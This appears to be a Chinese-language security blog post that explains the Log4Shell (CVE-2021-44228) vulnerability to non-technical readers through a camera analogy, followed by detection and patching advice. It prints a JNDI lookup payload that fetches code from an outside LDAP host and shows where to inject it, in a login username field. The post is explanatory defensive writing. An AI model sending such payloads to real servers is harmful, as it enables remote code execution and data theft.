最近開了一個讀者回饋表單,無論是對文章的感想或是對部落格的感想,有什麼想回饋的都可以填表單跟我說:表單連結

從監視攝影機理解 Log4j 跟 Log4Shell 漏洞

2021 年末資安界最大的新聞莫過於 Log4j 的漏洞,編號為 CVE-2021-44228,又被稱為 Log4Shell,甚至被一些人形容為「核彈級漏洞」,可見這個漏洞的影響程度之深遠。

關於技術上的分析已經有很多篇文章在講解了,但對於不懂技術的人來說,可能只知道這個漏洞很嚴重,卻不知道為什麼嚴重,也不知道原理到底是什麼,因此我想從讓非技術背景的人也能理解的角度出發,寫一篇比較白話的文章。

從監視攝影機談起

我有個朋友叫小明,他家是開雜貨店的。就跟其他商店一樣,在店裡有一支監視攝影機,怕有什麼消費糾紛或是有人來搶劫或偷東西,因此讓攝影機 24 小時全程錄影,真的發生什麼事了,就會有證據留存下來。

但攝影機的鏡頭角度有限,不可能把整間店面的影像都拍下來,就算真的都拍下來了,要存的資料也會太多(除非小明很有錢,買了一堆攝影機)。因此,攝影機只會對準一些非常重要、值得記錄下來的地方,像是收銀台等等。

原本這支攝影機用了十幾年都沒什麼事情,畢竟不就是把影像記錄起來嗎,能有什麼事情?但最近卻突然有人發現一個攝影機的隱藏功能(嚴格來講不是隱藏功能,因為攝影機的說明書上其實有提到,可是大家都懶得看那一百多頁的說明書,所以很少人知道這個功能)

這個功能是什麼呢?那就是除了錄影以外,這台監視攝影機還有個智慧圖片辨識的功能,如果它看到特定的影像,會根據影像的內容去執行相對應的動作。舉例來說好了,這個圖片辨識功能需要把指令寫在 100x100 的板子上,一定要黑底白字加上特定格式,像這個樣子:

當攝影機看到上面的圖,符合特定格式,就執行了上面的指令:「關機」,就真的關機了!但關機還沒什麼,指令還可以寫說「把攝影機資料全都給我」之類的,再者,攝影機本來就會即時連線到其他伺服器,這個指令也可以對那些伺服器做操作,例如說把上面的資料全都偷下來等等。

總之呢,一旦讓攝影機拍到指定格式的東西,就會幫你執行指令。

這個功能被爆出來以後,血流成河,因為太多地方都有監視攝影機了,因此許多人都帶著這個板子去看看會不會觸發這個功能。攝影機有分型號,只有一台叫做 log4j 的攝影機會出事,其他不會,但要注意的事情是有些攝影機它雖然不叫做這名字,可其實是從 log4j 作為基底改出來的,就一樣會出事。

而有些東西儘管不是攝影機也會出事,例如說有台智慧冰箱,號稱內部有微型攝影機可以即時監控冰箱內部狀況,恰巧這個微型攝影機就是 log4j 這個型號的攝影機改版出來的,所以也有同樣的問題。

你想想看,如果監視攝影機出了這個問題,那全台灣、全世界這麼多人用這個型號的監視攝影機,當然會引起軒然大波,只要讓攝影機拍到特定的東西就會執行指令,這可嚴重了。

以上是對於 log4j 漏洞的簡單比喻,在這個故事中雜貨店就像是你的網站,而攝影機的功能就是拿來紀錄(log)對於網站的那些請求(request),整個故事只要記兩個重點就好:

  1. log4j 是拿來記錄東西用的
  2. 漏洞原理是只要紀錄某些特定格式的文字,就會觸發一個功能可以執行程式碼

白話的簡易比喻到這邊先結束,想要更了解 log4j,我們就必須先來看看什麼是 log。

有關於 log 這件事

log 的中文翻譯叫做日誌,我相信許多人對這個名詞並不陌生,如果你有跟工程師合作過,他在解決問題時可能會說:「我去看一下 log」;或是如果你們跟合作廠商各執一詞,他說 A 你們說 B,這時候就會說:「不然看一下 log 吧,看看是誰的問題」

當你跟公司的 IT 合作解決電腦上的小問題時,他也會跟你說要去某個地方複製 log 給他,他才知道發生了什麼事情。

log 就像是一台 24 小時全年無休的監視攝影機一樣,需要紀錄起重要事物的狀況。

那為什麼需要有 log 呢?這問題就像是「為什麼要有監視攝影機?」一樣,答案很簡單,因為出事的時候才有證據。就像行車記錄器一樣,裝了以後若不幸發生車禍,就可以協助判斷肇責。

舉個例子,假設我是 A 公司,我們公司是做購物網站的,而通常金流這一塊並不會自己做,而是會找其他做金流的廠商合作,在後端去「串接」金流服務商提供的功能,講白話一點就是:「當使用者要付款時,我把使用者導過去金流廠商的頁面,付款完再導回來我們網站」,相信有在網路上購物的大家應該很熟悉這個流程。

在這個過程中,雙方都必須留下紀錄,確保未來發生問題時有證據可以輔助說明。

例如說有天 A 公司突然接到一堆客訴說沒辦法付款,這時 A 公司直接打電話去金流商,罵說你們這什麼爛服務,怎麼突然壞掉,而金流商此時提供了伺服器的 log,說:「沒有啊,我們這邊從今天早上八點開始就沒有你們導過來的紀錄了,應該是你們的問題吧?」,後來 A 公司檢查了自己這邊的服務,確實是因為今天早上的版本更新出了問題而導致,跟金流商一點關係都沒有。

這就是 log 的重要性,當出事的時候你才有證據可以盤查,才能盡可能還原當初的狀況。

做開發者的大家都知道 log 很重要,所以 log 基本上是必備的,以網站後端來說,他可能會在交易發生錯誤時留下一筆 log,也有可能在發生非預期錯誤時寫下 log,或是用 log 紀錄 request 中的一些欄位,比如說瀏覽器版本好了,給自己公司內部的數據分析系統來使用。

因此 log 是個十分常見的功能。這也是為什麼如果這個功能出事了,造成的後果會非常嚴重。

log4j 是什麼?

在寫網站後端的程式碼時,會有不同的程式語言可以選擇,例如說 Python、JavaScript、PHP 或是 Java 等等,而這些程式語言都會有些專門做 log 的套件,簡單來說就是有人已經幫你把功能都寫好了,你只要用就好了。

而 Java 有一個很好用的 log 套件,就叫做 log4j。而這個套件是隸屬於 Apache 軟體基金會底下,因此全名又叫做 Apache Log4j。

Apache 底下有很多不同的軟體跟套件,例如說:

  • Apache HTTP Server(大家最常看到的是這個)
  • Apache Cassandra
  • Apache Tomcat
  • Apache Hadoop
  • Apache Struts

所以 Apache Server 跟 Apache log4j 完全是不同的兩個東西,我知道你用 Apache Server,跟你有沒有用 log4j 是兩件事情。

這次出問題的套件就是 log4j,而出問題的原因跟我開頭講的一樣,有一個鮮為人知的功能有著安全性的漏洞,只要 log4j 在記錄 log 時記錄到某個特定格式的東西,就會去執行相對應的程式碼,就像開頭提的那個「關機」的板板一樣。

再講更詳細一點,其實並不是直接執行程式碼,那一段特定格式長得像這樣:

${jndi:ldap://cymetrics.io/test}

先不要管那些你看不懂的字,你可以很明顯看到裡面有一段東西很像網址,對,它就是網址,當 log4j 紀錄上面那一串字的時候,它發現這串字符合特定格式,就會去裡面的網址(cymetrics.io/test)下載程式碼然後執行,因此這是一個 RCE(Remote Code Execution,遠端程式碼執行)漏洞。

前面我有提過後端會記錄許多東西,假設今天有個後端服務是用 Java 寫的,而它用 log4j 記錄了使用者登入失敗時輸入的帳號,這時我只要用 ${jndi:ldap://cymetrics.io/test} 這個帳號登入,就能夠觸發 log4j 的漏洞,讓它執行我準備好的程式碼。

只要能執行程式碼,我就可以做很多事情,例如說把伺服器上的資料偷走,或是安裝挖礦軟體幫我挖礦等等。

為什麼這個漏洞如此嚴重?

第一,log4j 這個套件使用的人數極多,只要你有用 Java,幾乎都會用這個套件來紀錄 log

第二,觸發方式容易,你只要在 request 的各個地方塞滿這些有問題的字串,server 只要有記錄下來其中一個,就能夠觸發漏洞,而前面我們有提到紀錄 log 本來就是家常便飯的事情

第三,能造成的影響極大,漏洞被觸發之後就是最嚴重的 RCE,可以直接執行任意程式碼

結合以上這三點,讓它成了一個核彈級的漏洞。到底有多嚴重,看看這些新聞標題就知道:

  1. Apache Log4j 漏洞影響巨大,美國資安主管機關通令政府單位立即修復
  2. 微軟、蘋果都受波及!日誌框架Apache Log4j爆漏洞,堪稱近10年最大資安威脅
  3. 【Log4Shell漏洞資訊更新】Log4j 2.15.0修補不全、Apache再釋2.16.0新版,國家駭客已開始行動

還有一點差點忘了提,有許多其他的軟體也都用了 log4j 這個套件,因此也會有問題,國外有人整理出一份被影響的清單:Log4Shell log4j vulnerability (CVE-2021-44228 / CVE-2021-45046) - cheat-sheet reference guide,洋洋灑灑一大片,像是 Minecraft 這個遊戲的伺服器也有用到 log4j,所以也被這個漏洞給影響。

該怎麼知道我有沒有被這個漏洞影響?

可以先確認自己家的程式有沒有用到 log4j 這個套件以及套件的版本,也需要一併檢查有沒有使用上面那張清單列出來的其他軟體。

如果你是工程師,也可以用一些現有的工具檢測是否受到漏洞影響,像是:log4j-scan 或是 jfrog 提供的 log4j-tools 等等。

或如果真的不知道該如何處理,也可以聯絡我們,看我們可以怎樣幫助你。

該如何修補?

由瑞士 CERT 發表的這篇文章:Zero-Day Exploit Targeting Popular Java Library Log4j 中,有給了一張從各個環節去防禦的圖:

如果來不及把根本原因修掉,可以先上 WAF(Web Application Firewall),簡單來說就是針對網站的防火牆,把那些惡意的字串擋掉,例如說 Cloudflare 就在第一時間增加了 WAF 的規則加以阻擋,不過也有很多人在研究怎麼繞過 WAF 的規則,因此這是治標不治本的做法。

治本的方法就是把 log4j 停用或是升版,升級到不會被這個漏洞影響的版本,但有些時候第一時間的改版可能沒有把漏洞完全補掉,因此記得更新完以後還是要密切注意是否有更新的版本。例如說在這篇文章寫完後過沒多久,官方就釋出了第三個 patch 修復其他相關問題:Apache Issues 3rd Patch to Fix New High-Severity Log4j Vulnerability

結語

一個很多人用的套件,加上一個很常見的功能,再加上一個很簡單的攻擊方式以及嚴重的後果,就成了一個可以被載入史冊的漏洞。

文中有些比喻為了不要講得太細節,會是精簡過後的版本,不一定能完全涵蓋本來的漏洞,在轉換成故事比喻的過程中一定會有一些遺漏的部分,但對於整體的理解我覺得影響不大。

如果你想了解更技術的細節以及時間軸,很推薦這一支影片:Hackers vs. Developers // CVE-2021-44228 Log4Shell,裡面講得很清楚,也探討了開發者與資安從業人員的關係。

最後,希望這篇文章能讓不懂技術的大家更了解 log4shell 是怎樣的漏洞,以及這個漏洞為什麼如此嚴重。文中若有錯誤也請不吝留言指正,感謝。

有缺陷的重設密碼機制如何演變成帳號奪取漏洞?以 Matters 為例 CPSA(CREST Practitioner Security Analyst) 資安分析師考試心得

評論